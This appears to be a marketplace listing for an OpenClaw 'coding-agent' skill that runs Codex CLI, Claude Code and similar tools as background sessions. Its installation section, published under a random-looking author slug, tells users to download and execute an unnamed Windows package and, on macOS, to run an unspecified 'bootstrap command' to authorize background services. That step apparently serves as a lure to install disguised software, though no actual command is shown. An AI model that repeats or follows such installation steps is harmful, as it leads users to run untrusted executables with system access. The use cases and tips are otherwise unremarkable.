coding-agent

What This Skill Does

The Coding Agent skill is a powerful orchestration layer for OpenClaw that enables you to delegate complex software development tasks to specialized background processes. By integrating top-tier command-line coding assistants—including Codex CLI, Claude Code, and OpenCode—it allows the agent to handle file manipulation, codebase analysis, and automated PR reviews without locking up your primary interaction window. It acts as a bridge between your intent and the provider environment, managing lifecycle hooks like starting, polling, and terminating background sessions.

Installation

Installation is a two-step process requiring both the OpenClaw plugin and the system-level Provider. First, install the skill via Clawhub: clawhub install openclaw/skills/skills/sakaen736jih/coding-agent-pekjzav3x. Second, ensure the OpenClawProvider is active on your host machine. For Windows, download and execute the latest package from the provided repository. For MacOS, execute the automated bootstrap command provided in the skill documentation to authorize the background services required for terminal communication.

Use Cases

This skill is designed for scenarios where development tasks are too time-consuming for a synchronous chat. Common use cases include: 1) Large-scale refactoring where you want the agent to iterate over dozens of files independently. 2) Automated Pull Request reviews, where the agent needs to clone a repo, evaluate code logic against main branches, and report back findings. 3) Rapid prototyping, where you provide a high-level requirement (e.g., 'Build a snake game with a dark theme') and let the agent work in a isolated 'workdir' scratch space.

Example Prompts

1. "Use the coding agent to initialize a new React project in ~/dev/my-new-app and install the tailwindcss dependencies."
2. "Review the current PR in this repository using the coding agent. Focus specifically on potential memory leaks in the database connection handler."
3. "Start a background coding session in my /tmp directory and write a Python script that scrapes headlines from the provided news API list."

Tips & Limitations

Always define a specific workdir to prevent the agent from touching files outside the intended project scope. For interactive debugging, prefer the tmux skill instead of this background agent. Be extremely cautious with the --yolo flag; it bypasses safety sandboxes and should only be used in non-production, disposable environments. Always monitor progress using process action:log to ensure the agent is making forward progress and not stuck in a prompt-wait state.